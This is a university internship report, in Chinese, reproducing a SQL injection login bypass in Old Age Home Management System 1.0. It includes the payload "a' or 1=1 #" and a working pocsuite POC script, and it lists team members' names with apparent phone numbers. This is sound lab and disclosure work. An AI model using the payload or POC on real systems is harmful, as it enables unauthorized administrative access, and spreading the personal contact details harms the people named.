**南开大学**

**实习实训漏洞复现报告**

**2022年7月21日**

目录

[1.漏洞复现结论（15分） 1](#_Toc28487)

[1.1风险等级分布 1](#_Toc7481)

[2.工作计划（25分） 1](#_Toc24528)

[2.1工作人员 1](#_Toc13939)

[2.2漏洞对象 1](#_Toc3137)

[2.3漏洞复现阶段 1](#_Toc7909)

[2.4风险等级 2](#_Toc1860)

[3.漏洞复现过程（35分） 2](#_Toc6133)

[3.1 风险管理及规避 2](#_Toc18532)

[3.2测试方法 2](#_Toc4033)

[3.3测试中所用的工具 2](#_Toc28445)

[4. 漏洞复现结果（25分） 3](#_Toc12892)

[4.1 POC插件编写 3](#_Toc32666)

[4.2 漏洞信息 3](#_Toc25120)

# 1.漏洞复现结论（15分）

南开大学实习实训第八组的安全人员采用科学的漏洞复现步骤于2022年7月21日至2022年7月21日对进行了全面深入的漏洞复现。

本次共发现漏洞1个，其高危漏洞1个，中危漏洞0个,低危漏洞0个。

|  |  |  |
| --- | --- | --- |
| **序号** | **漏洞名称** | **风险值** |
| 1 | Old Age Home Management System 1.0 登录存在SQL注入漏洞 | 高危 |
| 2 |  |  |
| 3 |  |  |

## 1.1风险等级分布

本次评估漏洞的详细风险等级分布如下：

# 2.工作计划（25分）

## 2.1工作人员

|  |  |  |  |
| --- | --- | --- | --- |
| 序号 | 职务 | 姓名 | 联系方式 |
| 1 | 组长 | 袁铭泽 | 13082490753 |
| 2 | 组员 | 许健 | 18356357915 |
| 3 | 组员 | 杜一凡 | 17744403620 |
| 4 | 组员 | 吕昆娴 | 15943548836 |
| 5 | 组员 | 运开 | 18532068598 |

## 2.2漏洞对象

## Old Age Home Management System 1.0，在本地部署测试。

## 2.3漏洞复现阶段

|  |  |
| --- | --- |
| 项目阶段 | 工作内容 |
| 环境搭建 | 在本地下载Old Age Home Management System 1.0的环境（详情主页：<https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/>；下载地址：<https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip>；），需要使用本地Apache服务器以及MySQL数据库搭建。按照对应的Read me.txt文件的导引完成初始化操作，实验环境搭建完成。 |
| 漏洞复现 | 进入管理后台的登录界面（http://127.0.0.1/oahms/admin/login.php），在username栏输入“a’ or 1=1 #”，在password栏输入任意字符点击LOGIN按钮，成功进入管理后台，登陆成功，漏洞复现完成。 |
| Poc编写 | 按照漏洞复现的流程，结合抓包结果和POC框架，编写poc代码，实现自动漏洞测试验证。 |
| 平台提交 | 登录 360 POC++平台，提交POC。 |

## 2.4风险等级

|  |  |  |
| --- | --- | --- |
| 编号 | 风险等级 | 风险描述 |
| 1 | 高危 | Old Age Home Management System 1.0后台管理员的登录界面存在SQL注入漏洞，一旦攻击者得到了后台的路径便可以直接通过SQL注入的方式绕过登录机制，进入后台，从而对数据库和服务器产生危害。 |
| 2 |  |  |
| 3 |  |  |

# 3.漏洞复现过程（35分）

在本地下载Old Age Home Management System 1.0的环境后进入管理后台的登录界面（http://127.0.0.1/oahms/admin/login.php），在username栏输入“a’ or 1=1 #”，在password栏输入任意字符点击LOGIN按钮，成功进入管理后台，登陆成功，漏洞复现完成。

## 3.1 风险管理及规避

严格在本地搭建漏洞环境，必要时可以切掉与外部网络的连接，不要对线上的运营中的网站进行测试，以免造成危害正常运营。

## 3.2测试方法

在本地搭建平台进行漏洞复现，在fofa.info查询在线测试子域名，在360指纹平台查询应用指纹，没有找到后提交指纹。通过在burpsuite抓包放包的方式编写poc代码，并在python2的pocsuite环境下测试poc代码。

## 3.3测试中所用的工具

firefox-latest; pocsuite-2.0.8; python 2.7; php 5.5.38; Apache; MySQL 8.0; kali-linux-2021.1; burp suite professional v1.7.37

# 漏洞复现结果（25分）

## 4.1 POC插件编写

#!/usr/bin/env python

# -\*- coding: utf-8 -\*-

from pocsuite.api.request import req

from pocsuite.api.poc import register,Output, POCBase

from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url

import re

class TestPOC(POCBase):

vulID = ''''''

cveID = ''''''

cnvdID = ''''''

cnnvdID = ''''''

version = ''''''

author = ''''''

vulDate = ''''''

createDate = ''''''

updateDate = ''''''

name = ''''''

desc = ''''''

solution = ''''''

severity = ''''''

vulType = ''''''

taskType = ''''''

references = ['''''']

appName = ''''''

appVersion = ''''''

appPowerLink = ''''''

samples = ['']

install\_requires = ['''''']

def \_attack(self):

return self.\_verify()

def \_verify(self):

self.url,ip,port = parse\_ip\_port(self.target,80)

result = {}

headers = {

"Content-Type": "application/x-www-form-urlencoded"

}

data = "username=admin' or 1=1 # &password=passwd&submit="

path = '/oahms/admin/login.php'

vul\_url = make\_verify\_url(self.url, path, mod = 0)

resp = req.post(vul\_url, headers = headers, data = data, verify = False, allow\_redirects = True, timeout = 10)

if "Old Age Home Management System|| Dashboard" in resp.content and resp.status\_code == 200:

result['VerifyInfo'] = http\_packet(resp)

result['VerifyInfo']['URL'] = vul\_url

result['VerifyInfo']['port'] = port

return self.parse\_output(result)

def parse\_output(self, result):

#parse output

output = Output(self)

if result:

output.success(result)

else:

output.fail('Internet nothing returned')

return output

register(TestPOC)

## 4.2 漏洞信息

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **UVD-ID** |  | **漏洞类别** | SQL注入 | **CVE-ID** |  |
| **披露/发现时间** |  | **bugtraq编号** |  | **CNNVD-ID：** |  |
| **提交时间** |  | **漏洞发现者** |  | **CNVD-ID：** |  |
| **漏洞等级** |  | **提交者** |  | **搜索关键词** | “oahms” |
| **影响范围** | Old Age Home Management System 1.0 | | | | |
| **来源** | <https://www.exploit-db.com/exploits/50966> | | | | |
| **漏洞简介** | Old Age Home Management System 1.0 登录存在SQL注入漏洞 | | | | |
| **漏洞详情** | Old Age Home Management System 1.0后台管理员的登录界面存在SQL注入漏洞，一旦攻击者得到了后台的路径便可以直接通过SQL注入的方式绕过登录机制，进入后台，从而对数据库和服务器产生危害。 | | | | |
| **参考链接** | <https://www.exploit-db.com/exploits/50966> | | | | |
| **靶场信息** | <https://phpgurukul.com/old-age-home-management-system-using-php-and-mysql/>  <https://phpgurukul.com/projects/Old-Age-Home-MS-using-PHP.zip> | | | | |
| **POC** | 见上 | | | | |
| **修复方案** | 关注厂商版本的版本更新，及时更新到最新版本。 | | | | |